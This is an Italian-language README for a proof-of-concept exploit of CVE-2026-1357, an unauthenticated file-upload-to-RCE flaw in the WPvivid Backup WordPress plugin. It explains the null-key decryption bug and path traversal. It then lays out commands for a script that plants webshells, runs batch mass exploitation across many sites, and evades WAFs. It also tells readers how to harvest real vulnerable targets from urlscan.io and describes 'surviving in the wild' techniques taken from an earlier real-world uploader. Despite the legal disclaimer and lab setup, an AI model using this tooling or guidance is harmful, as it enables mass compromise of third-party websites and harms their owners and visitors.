CVE-2026-1357 — WPvivid Backup & Migration ≤ 0.9.123 Upload Arbitrario di File Non Autenticato → RCE

PoC per CVE-2026-1357 (CVSS 9.8 Critico, CWE-434): un upload arbitrario di file non autenticato nel plugin WPvivid Backup & Migration per WordPress che porta all'esecuzione remota di codice. Corretto nella versione 0.9.124 (changeset 3448386). Segnalato da Lucas Montes tramite il programma Bug Bounty di Wordfence.

  ███████╗  █████╗  ██╗  ██╗ ███╗   ███╗ ███████╗ ███████╗  ██████╗
  ██╔════╝ ██╔══██╗ ██║  ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
  ███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗   ██║
  ╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝   ██║
  ███████║ ██║  ██║ ██║  ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
  ╚══════╝ ╚═╝  ╚═╝ ╚═╝  ╚═╝ ╚═╝     ╚═╝ ╚══════╝ ╚══════╝  ╚═════╝

⚠️ Disclaimer legale

Questa proof of concept è fornita esclusivamente per ricerca sulla sicurezza autorizzata, formazione e test difensivi.

• Devi possedere il sistema di destinazione o avere esplicita autorizzazione scritta dal proprietario del sistema prima di eseguire questo strumento contro di esso.
• L'accesso non autorizzato a sistemi informatici è illegale nella maggior parte delle giurisdizioni (ad es. il Computer Fraud and Abuse Act negli Stati Uniti, il Computer Misuse Act nel Regno Unito e leggi simili in tutto il mondo) e può comportare sanzioni penali e civili.
• Gli autori e i collaboratori non si assumono alcuna responsabilità per qualsiasi uso improprio, danno o conseguenza legale derivante dall'uso di questo codice.
• Utilizzando questo software accetti di usarlo in modo responsabile e in conformità con tutte le leggi applicabili.

Cos'è la vulnerabilità

L'handler non autenticato send_to_site (includes/customclass/class-wpvivid-send-to-site.php) decripta un blob fornito dall'attaccante e scrive il contenuto di $params['data'] in wp-content/wpvividbackups/<nome controllato dall'attaccante> — senza autenticazione, senza nonce e senza sanificazione del percorso su name.

La protezione prevista è RSA: il messaggio deve essere crittografato con una chiave di sessione casuale, che a sua volta è crittografata con RSA utilizzando la chiave del sito. Il difetto è in WPvivid_crypt::decrypt_message (includes/class-wpvivid-crypt.php):

$key = $rsa->decrypt($key);          // restituisce FALSE in caso di errore (blob chiave non valido)
$rij = new Crypt_Rijndael();
$rij->setKey($key);                  // FALSE viene trattato come una chiave di byte nulli
return $rij->decrypt($data);

Il metodo Crypt_RSA::decrypt() di phpseclib restituisce false quando il blob della chiave fornito non può essere decriptato (ad es. openssl_private_decrypt() fallisce), e il plugin non interrompe l'esecuzione. false viene quindi passato a Crypt_Rijndael::setKey(), dove strlen(false) → 0 → la chiave viene riempita con 16 byte nulli (AES-128, modalità CBC, IV nullo). Un attaccante quindi "crittografa" il payload con una chiave nulla completamente prevedibile — non è richiesta alcuna conoscenza della chiave reale del sito.

Il payload è JSON:

{"backup_id":"poc","name":"../../pocXXXXXXXX.php","offset":0,
 "file_size":<len>,"md5":"<md5>","data":"<base64 del PHP>"}

name viene concatenato nel percorso senza sanificazione (str_replace('wpvivid','wpvivid_temp', $name) riscrive solo la sottostringa "wpvivid"), quindi ../../ esce da wp-content/wpvividbackups/ nella webroot. Quando file_size/md5 corrispondono, il file temporaneo viene rinominato con il nome scelto dall'attaccante → PHP pubblicamente accessibile → RCE.

La correzione (changeset 3448386) interrompe l'esecuzione quando il passaggio RSA fallisce:

if ($key === false || empty($key)) {
    return false;
}

Requisiti

Target:

• WPvivid Backup & Migration ≤ 0.9.123
• L'opzione wpvivid_api_token deve esistere e non essere scaduta — viene creata ogni volta che un amministratore clicca su Genera in WPvivid → Impostazioni → Migrazione Automatica (comune sui siti che utilizzano la funzione di migrazione)
• Esecuzione di file PHP nella webroot (predefinita sulla maggior parte degli hosting)

Attaccante:

• Python 3 (solo libreria standard)

Utilizzo

script.py è completamente autonomo: solo libreria standard, nessuna importazione locale, nessun file esterno. CLI posizionale semplice:

# singolo target
python script.py https://target.example.com

# comando personalizzato
python script.py https://target.example.com --command "uname -a"

# modalità batch (un URL per riga) -> success.txt / failed.txt
python script.py sites.txt --threads 10

# Evasione WAF: nomi/valori di parametri codificati in percentuale o corpo multipart
python script.py https://target.example.com --encode
python script.py https://target.example.com --multipart

# auto-eliminazione della webshell dopo il test
python script.py https://target.example.com --cleanup

Codici di uscita: 0 vulnerabile, 1 altrimenti.

Laboratorio

../lab/ contiene un target vulnerabile dockerizzato (WordPress 6.8 + sorgente WPvivid 0.9.123 da plugins/):

cd ../lab
docker compose up -d
# completa l'installazione di WordPress su http://localhost:8090/
docker compose run --rm wpcli plugin activate wpvivid-backuprestore
docker compose cp ../CVE-2026-1357-poc/setup_token.php wp:/tmp/
docker compose exec wp php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup_token.php";'

cd ../CVE-2026-1357-poc
python script.py http://localhost:8090 --command id

Scoperta dei target

Sorgente verificata funzionante (testata dal vivo, nessun account richiesto):

• urlscan.io — apri questo in un browser: https://urlscan.io/search/#filename:wpvivid-backuprestore ~74 pagine indicizzate che fanno riferimento allo slug del plugin; clicca e raccogli gli hostname. Ogni URL dei risultati inizia con il percorso del plugin (/wp-content/plugins/wpvivid-backuprestore/), quindi l'estrazione degli host è facile.

Query testate che NON producono target (escluse di proposito): dork Google/Bing (inurl: restituisce solo le pagine wordpress.org del plugin o un muro anti-bot), DuckDuckGo (idem), Shodan http.html: (HTML troncato indicizzato, zero risultati), Wayback CDX wildcard (vuoto), PublicWWW (scraping ospite bloccato).

Inserisci gli host raccolti nel triage (integrato in script.py come --triage), che controlla per ogni sito:

1. Versione — wp-content/plugins/wpvivid-backuprestore/readme.txt → Stable tag: 0.9.123 (controllo non autenticato a basso rumore; le stringhe di query ?ver= negli asset nell'HTML sono il fallback)
2. Token — POST spazzatura wpvivid_action=send_to_site&wpvivid_content=AAAA: risposta JSON (The key is invalid.) = wpvivid_api_token esiste; vuoto = nessun token / plugin inattivo / WAF ha eliminato la sonda

Solo i siti che sono <= 0.9.123 e con token attivo vengono scritti in in-scope.txt, poi:

python script.py sites.txt --triage --threads 10   # → in-scope.txt
python script.py in-scope.txt --threads 5

Sopravvivenza in rete

Tecniche portate da un uploader del 2025 di lunga durata che ha continuato a funzionare nel mondo reale (stesso autore):

• Travestimento AJAX sulla POST di upload: X-Requested-With: XMLHttpRequest, Accept: application/json, */*;q=0.1, Referer same-origin, UA del browser
• Le GET di shell successive portano un Referer same-origin
• Modalità batch multi-thread (--threads N) con timeout brevi per richiesta
• success.txt / failed.txt scritti in modalità batch, solo le shell verificate vengono registrate come successo (come il file success dell'originale)
• Nomi file casuali a 12 esadecimali e nomi di parametri di shell casuali per ogni upload
• --encode / --multipart per l'evasione della forma della richiesta

Verificato contro un mod_security live (OWASP CRS paranoia 1) in laboratorio